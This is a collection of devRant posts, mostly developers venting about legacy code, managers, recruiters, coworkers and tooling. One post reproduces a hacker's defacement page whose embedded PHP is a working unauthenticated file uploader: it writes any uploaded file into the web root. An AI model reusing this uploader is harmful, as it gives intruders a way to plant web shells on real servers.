- Ownership of the "Community Programming Book" Discord server
- Anything else that I've forgotten about, maybe check the comments
If you're interested, message me on Discord "@skayodev" or anywhere else I am active under that alias (f.e. Telegram).
I might do a little background check to prevent abuse and I AM NOT SELLING THEM, just giving them away.
Thank you devRant for all the fun we had together and for introducing me to some of my current best friends :)
A thank you especially to @dfox and @trogus, who have created this amazing platform! (and sorry for all of the bullshit I did back then lol)
I wish you all the best <3
~ Skayorandom skayo random quote highlight bot here devrant-community devnews community programming book farewell skayodev11 -
I've been lurking on devrant a while now, I figure it's time to add my first rant.
Little background and setting a frame of reference for the rant: I'm currently a software engineer in the bioinformatics field. I have a computer science background whereas a vast majority of those around me, especially other devs, are people with little to no formal computer background - mostly biology in some form or another. Now, this said, a lot of the other devs are excellent developers, but some are as bad as you could imagine.
I started at a new company in April. About a month after joining a dev who worked there left, and I inherited the pipeline he maintained. Primarily 3 perl scripts (yes, perl, welcome to bioinformatics, especially when it comes to legacy code like is seen in this pipeline) that mostly copied and generated some files and reports in different places. No biggie, until I really dove in.
This dev, which I barely feel he deserves to be called, is a biology major turned computer developer. He was hired at this company and learned to program on the job. That being said, I give him a bit of a pass as I'm sure he did not have had an adequate support structure to teach him any better, but still, some of this is BS.
One final note: not all of the code, especially a lot of the stupid logic, in this pipeline was developed by this other dev. A lot of it he adopted himself. However, he did nothing about it either, so I put fault on him.
Now, let's start.
1. perl - yay bioinformatics
2. Redundant code. Like, you literally copied 200+ lines of code into a function to change 3 lines in that code for a different condition, and added if(condition) {function();} else {existing code;}?? Seriously??
3. Whitesmiths indentation style.. why? Just, why? Fuck off with that. Where did you learn that and why do you insist on using it??
4. Mixing of whitesmiths and more common K&R indentation.
5. Fucked indentation. Code either not indented and even some code indented THE WRONG WAY
6. 10+ indentation levels. This, not "terrible" normally, but imagine this with the last 3 points. Cannot follow the code at freaking all.
7. Stupid logic. Like, for example, check if a string has a comma in it. If it does, split the string on the comma and push everything to an array. If not, just push the string to the array.... You, you know you can just split the string on the comma and push it, right?? If there is no comma it will be an array containing the original string.. Why the fuck did you think you needed to add a condition for that??
8. Functions that are called to set values in global variables, arrays, and hashes.. function has like 5 lines in it and is called in 2 locations. Just keep that code in place!
9. 50+ global variables/hashes/arrays in one of the scripts with no clear way to tell how/when values are set nor what they are used for.
10. Non-descriptive names for everything
11. Next to no comments in the code. What comments there are are barely useful.
12. No documentation
There's more, but this is all I can think to identify right now. All together these issues have made this pipeline the pinnacle of all the garbage that I've had to work on.
Attaching some screenshots of just a tiny fraction of the code to show some of the crap I'm talking about.6 -
Branch Manager without actual credentials (just a manager no real business decisions are made by him).
- Constantly is sick
- at home a lot doing „home office“ and not being responsive in company chat or emails
- is in home office 3-4 days a week while company policy clearly states one day a week
- watches YouTube a lot at work and calls out other people when they check their emails or quickly order something on amazon or maybe just listen to a podcast at work
- is a scrum master but rarely acts like it as in softens up rules as he sees fit
- backstabs employees in front of ceo when he actually entrusts them beforehand and says he is definitely in the employees side
- actually tried to physically intimidate me and another employee
- has no real technological background but chimes in on technical discussions and thinks it’s a new round of bullshit bingo
- does personal errands during work and books the time for it as work time
- claims people cheat on their time management entries and gets them warned and fired for it, while doing the exact thing himself
- knows he is trusted by the ceo but actually takes 0 interest in the future of the company
- tirades and gossips about other employees that just aren’t around at that moment
- is sexist at times
- very untrustworthy
- is responsible for a very toxic environment around the office
So that are his attributes - he got me warned and sacked because I supposedly committed fraud with my time management and caused the company financial harm - I had no projects or todos and was keeping myself busy with learning JS and python stuff instead of sitting around waiting for a ticket to come around.
Needless to say I’m glad I don’t see that guy any more. I’d break his jaw if I’d have to see him again.3 -
My son is into playing Roblox. He asked me to help him find an auto clicker that doesn't have viruses/malware. We looked into cheatengine (which I have used in the past), but despite getting it from a legit source it is getting flagged as malware. So we started writing one with Python. I did check to see what their policy on bots is:
"Using bots that are programmed to run disruptive, large-scale tasks"
is the only text I can find about bots. It seems like they don't care if you make bots to automate tasks or play the game.
I plan on having some fun with this and including a little gui to control the bot while the game runs in the background (the goal). I had tried to get my son to have an interest in programming so this is a good intro.11 -
Should’ve posted this after it happened, but it requires a bit of background anyway.
There’s this guy that oversees our OpenStack environment. My team often make jokes and groan about him in private because he’s so overbearing. A few months back, he had to take us to our data center to show us our new racks, and he kept saying stupid stuff like “you break this and it costs me $30,000” as if he owns everything. He’s just... one of THOSE people. Always speaks in such a condescending way. We make jokes that he is our “best friend”.
Our company is shifting most of our products to the cloud in response to the coronavirus (trying to make it an opportunity for “innovation”). This has involved some structural and responsibility changes in our department, and long story short, I’m now heading the OpenStack environment alongside other projects.
This means going through grueling 1-on-1 meetings with our “best friend”. It’s not too bad, I can be pretty patient with people, so I didn’t mind too much at first. Then a few things happened.
1. He sent a shared folder that he owned containing info related to the environments. Several documents were outdated and incomplete, so I downloaded them, corrected them, and then uploaded the documents to my teams file share, as I was supposed to since we now own the projects.
2. Several files were missing, and when I asked about them, he said “Oh, did you refresh the browser?”. I told him no, that I downloaded them locally and republished them to my teams server, because he was supposed to hand everything off to us at once. He says “Well, silly, how are you going to get updates if you’re looking at them locally?” and kind of chuckles at me like I’m stupid.
3. He insists on training me how to remote into one of the servers to check on cluster space, which in itself is fine. I understand others wanting to make sure things will be done right by the people who come after them. But he tells me to download SuperPutty. I tell him, “oh no, that’s alright. I don’t need putty”. He says “oh cool, what tool do you use for ssh?”. I answer him “Just Git. If I want to I can use a CentOs bash terminal too, because we have WSL installed”. He responds “You can’t ssh through Git”.
I was actually a little shocked. I didn’t know if he was serious or not so I was silent for a few seconds before hesitantly saying “yes you can”. He says “this is news to me” and I so I tell him “every single one of our build jobs fetches code from Git with ssh” and he seemed genuinely shocked and surprised by that.... so then it occurs to me to show him that you can ssh in Powershell and that REALLY blew his mind. He would not shut up about it for several minutes. I was amused until it just got annoying.
Needless to say, my team had been previously teasing me about having to work with him, so they found it hilarious when I told them afterwards.8 -
And I thought dealing with recruiters couldn't get worse..
Applied for a job, get a call back a short while later. Recruiter guy has zero details about the job, but needs some background info. Then says he needs a few more things, it'll come in an email. Calls me 5 minutes later asking why I haven't replied yet, told him im not home.
Get home, check my mail.. please send full address, social security number and a copy of both sides of my photo ID.
Nooooooooooooope. Email back, say no can do.. no replies, job listing deleted a few hours later.2 -
Background:
New guy on our team, deadline coming up. I bring him into a meeting room, explain what the project is about, quick run down of the code. Then spent a while explaining what we have to do next, gave him a piece to do, took a piece to do myself.
The fuck up:
A few days / week pass by and I ask to check on his progress. Fucktard decided an hour after the meeting that it would be easier for him to use a different database than what the project was using and decided he wanted to work on some other feature instead.
My stuff was dependent on his stuff, so not only did he not do his work but stopped me from delivering mine.
Let’s just say there was a few stern words in a meeting room shortly after that.1 -
Stories from Gary #000
Short background info:
So I'm working as a game dev for 3 years now and by now I can say that I've seen some shit. Mostly because of one of our game designers, let's call him Gary.
So Gary, from here on called GDG (Game Designer Gary), is a regular game designer (GD). His job is to come up with new game ideas, commission the assets, make sure that translations are done, etc. - simply put, he has to get a lot of shit together before we can start working on a new game.
Would be no problem at all if GDG wasn't lazy as shit and would work for once in his life. No dev really wants to work with him anymore, since he's known for calling a game or any issue "ready for development" even if half the assets or specs are still missing.
Let's move on to a particular situation that happened a couple of months ago.
I had an issue assigned to me, which was about implementing the translations for a new game. As I read the issue and checked if everything I needed was given, I noticed that the most important part was in fact missing - the keywords for the translations.
-.-
So, I called GDG and asked where I could find the keywords, to which he responded "Oh, I'm working on them right now... and by the way I got a weird bug with the translation program. Can you come check it out?". Sigh. I went over to his office, rambling about how I should be able to help him with a program I rarely use and which was written ages ago.
As soon as GDG saw me coming roundbthe corner, he started explaining how the keywords aren't ready yet, since the program to create translations and their keywords won't let him name a translation.
"I can create new translations, but I can't assign a keyword to them."
"Okay, show me what you did", I told him, eager to leave.
He started to type the keyword, which turned out to be huge ass long and immediately I noticed a little counter, like "x/50", directly beneath the text field started to count up with every new character GDG typed. See where I'm going with this? HE WASNT ABLE TO RENAME A TRANSLATION BECAUSE HE WAS TOO LAZY TO FUCKING READ AND CONCENTRATE FOR ONCE. Sorry for that, but even thinking about it gets me angry again.
To some this might sound like nothing, but it really got to me at this point. Maybe it will become more understandable as I post more GDG stories.
tl;dr: A 40 something year old man, who's been working in his job for over 10 years wasn't able to use a program which he daily uses and asks me for help, only to find out he's a complete dipshit.4 -
Stakeholder: Is it possible for you to set up the website to automatically resubmit failed online orders? Last time there were failed orders, we tried submitting manually but a lot failed because they were tickets for the previous day.
Product Manager: What are your thoughts, Developer?
Me: This wouldn’t be worth the labor. It’s something that would rarely be used. There are very few orders that fail. I’d be surprised if it was even once a week. The recent bunch of order failures that SH is talking about happened because the ticketing server (separate from the website) couldn’t handle all the requests. Let’s say you had resubmission logic to try 3x before allowing the fail. It wouldn’t work because the server was overwhelmed already. Let’s say you had a background task to check for failures every ten minutes and resubmit those. It might not be helpful because the customer could have already gone to a ticketing window for help with the failed order.
SH: But what if it happens again???
Me: The solution is to make sure the ticketing server can handle the influx of requests. We can coordinate with that team. Wait. Why did you wait until the next day to resubmit orders in the admin panel? A lot of those failures happened when there were many hours left in the business day. For each order failure, an email notification is sent to the sales support email in real time. Who is monitoring that inbox? Someone must be looking at it because the sales support email is listed multiple times on the ticketing website as the technical assistance email.
SH: I know that email notification goes to the engineering team.
Me: My question is not about the engineering team. I asked who is monitoring the sales support inbox.
SH: That email … gets filtered.
Me and Product Manager: 😧🤯🤬
PM: First, you need to stop filtering that email notification. Second, your team needs to come up with a flow to handle failed orders because you told us you don’t have one. After you tried this and there’s still an issue, then we can revisit.
—-
If you’re wondering why I said no, I’m a team of one and I have a bunch of other development tasks on my plate. I’m not automating a manual task that rarely has to be performed.rant this meeting could have been an email stop filtering out important notifications i saw my product manager’s eyes bug out -
Some customers are nice.
Ive been working with a customer to enable a feature in the database. It was tough, because the escalation from support was your standard 'Customer wants apples in the T-1000, please do the needful'. After several emails back and forth we reach an agreement about what needs to be done.
This is something I'm sure can't be done. I test it in my local install, yep, confirmed that's normal behaviour. The customer, however, is stalwart - he's suggesting changes to the database that would potentially give him what he needs. I figure if he's going to this much effort, I'll confirm with our product specialist to see if there's a way around it.
Five minutes later I'm emailing the customer with an apology as I have unwittingly never known of, or committed to memory, the existence of a distinctly non-hidden check box that enables this exact function. I pass this box several times a week at least, and I've worked on this software for two and a half years. Never have I needed to use it, so my brain just processed it as background imagery.
The customer just responded with the kindest email absolving me of my sins, thanking me for my humbleness and for my time.
I want him to have more problems so I can work with him more.2 -
A long long time ago ( 2007 I think ) I worked for a company that made landing sites, so basically an email campaign would go out, users would be sent to a 1 page website with a form to capture their data, ready to be spammed even more. You know how it was back then.
So I worked with a guy who we had just hired, I didn't do the hiring but his CV checked out, so I gave him one of my tasks. Now most pages were made with js and html, with a PHP backend ( called with Ajax). Now this guy didn't know PHP so I was like all good, ASP works too at the end of the day we don't judge, we do like 2 or 3 of these a day and never look at them again. So he goes of and does is thing.
3 weeks later, the customer calls up to me they still haven't received their landing page. Ok so he probably forgot to email the customer np, I tell him to double check he has emailed the customer. Another week goes by end the customer calls back, same problem. At this point I'm getting worried, because we're days away from the deadline and it was originally my task.
So I go back to the guy and I tell him I want that landing page so I can send it myself, half thinking to myself that we had a freeloader, that guy that comes in to companies for 3 weeks, doesn't work, but still cashes his pay. But no, this was much worse.
So he tells me he has finished yet. I ask him why, what's the blocker ? You had 4 weeks to tell me you were blocked and couldn't progress. And his answer was simply, because I wasn't blocked I have been working on it this whole time. So I tell him to zip his project up and email it to me. We didn't do SVN or git back then, simply wasn't worth it. So he comes back to me and says the email server is telling him attachments can't be bigger then 50mb. At this point I'm thinking he didn't properly sized the art or something, so I give him a flash drive to put it on.
When I then open the flash drive, the archive is 300mb, thinking to myself, the images weren't even that big to begin with.
So I open it up, and I don't even find any images, just a single asp page. About 500mb. When I opened that up and it finally loaded, I saw the most horrendous things ever.
The first 500 lines was just initializing empty vars. Then there was some code that created an empty form with an onChange event that submits the form. After that.. it was just non stop nested if's. No loops, no while, for, foreach, NO elseif's, just nested if's, for every possible combination of the state the form could be in. Abou 5000 of them, in a single file. To make matters worse, all the form ( and page ) layout was hardcoded in the if's. Includes inline css, base64 encoded images, nothing but as dynamic, based on the length of the form he changes the layout, added more background etc. He cut the images up for every possible size of the page and included them in the code.
I showed it to my boss, he fired the guy on the spot. I redid the work from scratch, in under 4 hours. Send it to the client. they had no ammends to make, happy as Larry. Whish I kept the code somewhere.
Morale of the story, allways do a coding test on interviews, even if small things just to sanity check.3 -
I once went to a client to get a brief for a website (the twat can't be bothered to write it, so he gets me to do it). I wrote all the details down and fired as many questions as I could. When I got back I wrote up the notes into a brief and sent it back to check before I costed it. He said it was spot on, so I sent an estimate. A few days later he must have shown it to another director, they both call me on speaker phone. Them: Will it do this, will it do that? Me: "It" doesn't exist, if you want to add some requirements then write or extend the brief and I will re-cost it.
They ignored that and rang a little later. Them: We have been discussing it, will it do .... and will it do.... Me: I repeated what I had said earlier, but my tone of voice had changed to reflect my annoyance. I never heard from these pathetic twats again. Moral: I always do background checks on a company, as well as accounts and financials check it's good to tap in to your network of colleagues, designers, freelancers. It can set the alarm bells going long before you commit any time. -
So I'm writing this code, that does 2 important things, that cannot be seperated. I run the code, thing1 is correctly executed, thing2 not. No fucking idea, why this happens. Execute again, same result. Debugg the wohle thing, now everything works fine.
WHAT?
I check the code, there are no background tasks, no paralell processing, nothing that should go wrong.
Asking a Senior developer for help, he also has no fucking idea. He tells me to try to wait one second between the two things. Looking for a delay() or wait() function in my programming language but there is none. Ok, building my own delay, writing a "do 1000 times" loop, calculate some shit in it. Execute the code, it works perfectly.
Nobody has a fucking idea, why this is happening and why this solution is working, but now the code is productive and it works fine.9 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
Got a new job on a big brand bank in the financial district in NYC, went through multiple code interviews, 2 hours of in person interviews asking me about architectures, design patterns, solutions to imaginary complex problems(which I enjoyed thinking about), finally got accepted, background checks needed before starting (previous job check, credit, drugs, etc..) so I waited 2 months, 1st day at work, the building is huge and cool, biggest spaces I've ever seen, amazingly insane large monitors and people working on a great variety of new technologies.
I was assigned to a corner far away from the open spaces, trying to understand a project that I will maintain who works with java 5, struts and jsp(for fucks sake, JSP!!!)
Why life laughs on my face? why?4 -
How are Coding Bootcamps and what are they like?
A little background:
I’ve been going to a University (have a year left for a CS degree) and I am so EXTREMELY frustrated. I thought I would get an education but it’s so underwhelming. 95% of it doesn’t involve programming and the classes that do are so elementary that I know more than the professors. By the end of my web design course we had been taught to center text, insert images, insert links, and how to use tables with a single day on CSS using colors.
The OOP courses are all the same, learn variables, types, conditionals, loops, classes, functions, and so forth. Python, C++, and Java. I taught all this to myself when I was 15, I’m 29 now.
I’ve recently gotten extremely interested into full stack web development. .NET Core, React, Typescript. I’m also working with Electron. I’m basically 100% self taught and spend almost every waking moment trying to learn more and apply it.
There’s only one person at my school who has the same passion as me and he’s the president at the coding club but is going into machine learning and big data (I’m the Secretary) and I just wish I could interact with more people who have the same passion. I would love to be challenged. I feel as if I spend more time trying to learn and diagnose problems then applying my knowledge because web development is so complicated when it comes to connecting everything together and I’m still relatively new to it (started like 4 months ago). I’m an extremely fast learner and extremely dedicated so I’m not worried about that being an issue.
I just really want to be a part of a community where I have people who can answer my questions and I don’t have to spend hours or days on google finding a solution to integrating Webpack or using typescript with react, and more. I want to feel challenged.
Can I get this from a boot camp? I recently listened to a podcast from Syntax and it really excited me but I don’t want to be let down again. Either way I’m finishing my degree to get that bullshit $60000 piece of paper but I wouldn’t mind taking a couple months off for something like this if it’s worth it.
I live in CO so if you have any Bootcamps in CO that you recommend, I’d love to hear it and take a trip to check it out in person.
Thanks a bunch!10 -
I have multiple contenders ;)
Contender one:
A program used to sort emails.
We was in the process of moving from lotus notes to exchange and needed a way route emails to the right server internally.
Solution, a qmail to receive all emails, a script running by cron every minute to read the emails, check the recipient name to a list and resending to the right server. The script was written in php :P since that was the only way we at the time had to read an email into an object, it was run just like any other shell script :D
Contender two:
A multi threaded mail sender that fetch email addresses and content from a database and posted them through qmail using background execution and pipes to get the result back and then update the database, written in bash script.
Contender three:
A c program used in a similar way as in one but this time using dial up and uucp to fetch email and then drop these either into lotus notes or into a bbs for our customers to give them an email address. This was around 1993, so not to many isp’s offered email and not to many had internet anyway, dial up bbs was much more common.5 -
I always spend a lot of time thinking about the responsiveness of my designs, often I get stuck for some time due to random images, backgrounds etc not fitting the device size and then I check other sites to get inspired and get disappointed and sad how most developers just don't give a shit and either the background just gets cut off, images just hidden instead of aligned for example to the left further down the content and so much more, am I the only one spending so much time into getting my sites/designs perfect across any device and screen size?
-
When I was young I'd play games and around age 11 received an Xbox for my bday. Hated the case, so I painted the case. Since I had it open looked into getting a replacement fan.Thats when everything changed. I discovered the modding scene and without having any computer background/literacy got to studying.
The program that caught my eye ran on Linux. *shrugs thinking how hard can it be? * Read about Linux and discover dual booting. To do that I needed to resize windows partition. Learn more about partitions and get to it. Finally prepped... Backup in case of the worst, resized windows partition, working Ubuntu bootable USB, and printed install tutorial. Check, check, and check. Install was good. Sort of.
While Ubuntu worked, the broadcam wireless chipset driver did not. Fast forward a week and I feel that i had mastered the terminal basics. And WiFi worked! Go download the aforementioned program and FTP into the Xbox and BOOM... It doesn't work. More days and hours spent researching. In the end it all chalked up to not setting a static IP address on Xbox.
After all was said and done I had a bitchin Xbox. I think the only thing I didn't put on it was some gold spinning rims.
Sad part about that Xbox is that I never used it after. Instead I just kept messing around with Linux and learning more about computers. Taught myself HTML/CSS. Learned more about shell scripting. Then Windows cmd basics. Tried programming languages but felt a little overwhelmed. Only messed with <10 lines of code to tweak existing programs.
Now I'm learning C# and loving it. Planning on C++ or Java next! -
If you're subscribed to me only because of my jokes, feel free to ignore this rant. You won't miss anything.
If not, bear with me.
I was wrong about almost everything I can remember. Preaching so-called “conceptual thinking”, I invented a fantasy world of random anecdotes, which turned into a completely false worldview that shaped my reality. I bashed magical thinking, yet succumbed to it. What I believed to be true was just as magical, wrapped into what sounded like science. In the Dunning-Krueger scheme, I was right there on Peak Stupid.
Random hear-say, stupid concepts I invented, random “knowledge” I picked from YouTube videos, all that was rotting inside my head, one anecdote contradicting another. Ultimately, I think this was the reason of my constant anxiety and pointless, never-ending thought process in background.
If you learned anything factual from me and didn't fact-check it, please forget that immediately. The list includes but is not limited to everything on brain structure, everything on philosophy, almost everything on engineering and architecture, almost everything on systems theory and programming meta stuff (declarative, imperative, etc.)
I admit bashing unit tests. The only reason was me disliking writing them in uni. I wrote like three test cases, disliked it, and the rest was history. Everything else was a rationalization on top. If I was right about something, I was just lucky.
I'm not a CSS prodigy. I know stuff that earns me money and impresses my colleagues, but my knowledge is just one step above basics, in one thousand steps ladder.8 -
My dumbass fucked up a good interview by looking down on the company I was interviewing for unintentionally (:
They outsourced the "core" finance code to a 3rd party B2B provider and I was like "oooooooooh so y'all are only a wrapper? That explains why you didnt do super-crazy background check on me hahaha"
I ended up sounding suspicious af :'v8 -
Ever since I downloaded Intellij, which was 10 years ago, I have tried to move into more hype oriented editors ... Atom, sublime, vs-code... But nothing beat intellijs sense of fullfilment! Its like you are in a sand box that offers everything you need to do anything you want! Need plugins ? Right there! Terminals? Right there! Git ? Right there!! Distraction free mode/zen mode? There! Spice up your editor with a background image? There!!!
I think for those who take the hype of editors need to check their goals/aims. I have learned that whenever i tried to change the environment i work in, the reason was always unsatisfactory projects, or boring projects!
Your coding environment (no matter what it is) is your sanctum sanctorum. Change one bit of it and your whole world is disrupted.
And thats a piece of advice for those who use Vim to notepad to intellij to whatever is more advanced then intellij!
Also includes a picture of my setup!1 -
Job review time,
(just a random pick from the a list).
---
"Engineering Lead"
Translation: "Chief Calculator Officer"
"Anyone can design or spec a product, get it manufactured overseas and get it to market. But will it be good? Will people buy it?"
Translation: "We're looking for a miracle"
"Take on a top notch team that is going places in Electronics, R&D and advanced product development."
Translation: "Professional Excel engineer wanted"
"This company is a little-known success story that has been operating for over X years, making mission-critical electronic equipment for use by consumers, professionals, government and industry."
Translation: "Design weapons and tamagotchis."
"Working as part of the Senior Leadership team, you will have charge of the I.P. engine and product development team spinning up new ideas and throwing them out the door."
Translation: "You're success is our success. Your failure is your failure."
"The Role
- Generate New Ideas
- Push for new products
- Drive manufacturing
- Manage a cross disciplinary team that includes Electronics, Software and Mechanical
- Project Manage new projects to completion
- Interact with marketing and sales to drive results"
Translation: "We've never hired one person to be a whole team before but we think it will work."
"On your first day, we expect:
- Strong Leadership experience and skills
- Solid Engineering Fundamentals
- Experience taking new and existing products to market
- Experience with manufacturing high-tech, mission critical equipment
- Commercial Acumen
- Bachelors in Electrical or Electronic Engineering"
Translation: "We expect you know where to hide the drugs already."
"Nice to have:
- Experience with Defense or Medical Systems
- R&D background
- MBA, B. Commerce or similar"
Translation: "By clicking on this job ad your background check is already under way."
"In return:
- A loyal and oustanding team will be there to support you
- Extremely knowledgeable experts to guide you
- Incredibly smart founders to mentor you
- The opportunity to work on a real product
- Extremely generous salary package"
Translation: "Our last dev has removed the Warrant Canary. Can you pleeease put it back?!"2 -
Quick question, is it bad to quit from a job when the project is not finished yet, especially in a startup company?
My reasoning for quitting, boss doesn’t really understand how game development usually works and mostly assuming every project will be same.
Following is my rant of background story for my question.
The incident triggered me wanting to leave is as below.
G = another guy from incubating center
B = boss
G: hey B, do u know this game studio is releasing this title soon. It’s a local company. Sounds cool.
Then they went to check the company profile. Found that the company has abt 40 staffs in total.
B: hey lunadev, do u know them? They have 40 people to make 2 titles. I think we’re the smallest company in the world that developing mobile games. Ha ha ha.
Me: oh, may be their project scope is complex. But I don’t think ours is the smallest company in the world making game. (We have 5 in total including him) there are others with only 2 ppl making games. (My sarcastic side took over me and said) I think we’re the only company in the world that has such small manpower with shortest deadline.
B: then how long do u think our timeline should be?
Me: abt 2 yrs? (Me considering all the artworks, features, testing time that we have to do)
B: urmmm I don’t think it’s that long. May be abt 6 months or a year at most?
G: ya, abt 6 months. Mobile games are not like desktop games or others so should be abt 6 months. Shouldn’t take that long.
Me: ... :)
Then I packed up my stuffs and left for the day. As for side note, boss designed the game himself and it took him 5 years to add complex features. And sometimes he will still come up to us and ask us to add that feature just cuz he was just inspired by another game he just played. Now can they tell us, this game can finish in 6 months? On what ground?
And another thing that he does gets on my nerve is that he plays game during office hours while the rest of us rushing for his project and campaign.
So, if I quit now, they’d still be in the middle of development. Oh and I’m the main programmer developing the game. So, erm.. Is it wrong?7 -
I just wrote a pretty long story to post here. I forgot one word in English and wanted to check it out. I also forgot that I was working earlier on an app for work and disabled apps in background. When I opened devRant again, whole story was deleted. FUCK
-
Startup idea #318 - App that runs in the background while coding.. if a file has more than 150 lines prevent the user from typing more in it!
Oh and also check if the code has tabs/spaces and limit them accordingly. If user uses both prevent them from typing in it!4 -
we had a lot of date specific background tasks that run. one day one of the major tasks were not doing anything at all. check the builds in jenkins, was being triggered at 8pm as designed , but no output or errors, just success. eventually found out that someone changed the timezone on the remote host executing the job, so the job was infact running in the future where no events existed! needless to say was a simple fix! and mow I use NTP for everything1
-
So I was looking into phone app development again (as you do) and I'm working on a simple QoL app for me and my SO that will help us automate some home management and finances stuff. Naturally I delved down the rabbit hole deep and wanted to have push notifications so we don't have to check the app periodically to know when certain things happen... Oh boy... Why is mobile development so convoluted, especially if you don't want to rely on Google Services...
It seems that the most accepted way of doing this is Firebase (FCM). Well me being me, I refuse to use google services for this and I prefer self hosted solutions (for data privacy reasons) which eliminates most products out there.
It also didn't help that my framework of choice is Flutter/Dart, because fuck Android Studio and the insane buggy XML stuff and fuck Android and it's constantly changing APIs...
Well In the end I decided on a rather simple solution and self hosted an AMQP service (RabbitMQ in my case, as I have some experience with it already) and implemented a foreground service in android platform specific code on top of my flutter project to kickstart it and made my phone a queue listener... This now means I can push notifications from my server to the Messaging Queue and it will be pushed into my App automatically!
One thing I found out on this journey was that Android now kills most background services and enforces foreground services to have a visible notification in the status drawer... which I actually approve of. It's a bit annoying that you can start a reliable background service, but I'm absolutely on-board with long running processes started by my apps are constantly visible...
Long story short, I love reinventing all the wheels, especially if it's for free and private... And I also went to sleep at 2AM again because this took longer that I'd like to tune... but it works, and it's google free...
I'm thinking of trying to package this up as a flutter module later, but first I want to do testing on battery life and the general life cycle of the service. RabbitMQ says they have the client library optimized for long-lasting connections and it should be just using a tcp socket, which should pretty much be what all the push notification services are doing anyway. I'm also not completely satisfied with how the permanent notification looks.. it isn't collapsible like some of the other ones from other apps and it's about 2 lines high instead of single line... which is something quite annoying and I'm struggling to find any relevant docs on how this is done other than possible making a custom Notification Style... but I just can't believe that everyone is doing that.. there must be a built-in somewhere -_-... Ugh Android is hell...
Anyway, if any android devs here have some hints, tips and tricks on how to handle this type of background/foreground process stuff and I'm doing something wrong let me know, cause googling this shit is a nightmare too!6 -
When you’re really tired of your job and just wanna leave. but have accepted a new position but have to wait on the background check...😣
-
I know a senior developer that knows quite a bit, im glad, this is how we grow. He has a habbit of wanting to be the main attraction in all conversations, either tlaking louder than others or sticking to a point in a subject he is not correct in to try force his opinion (i dont speak kuch around him because of this exact reason).
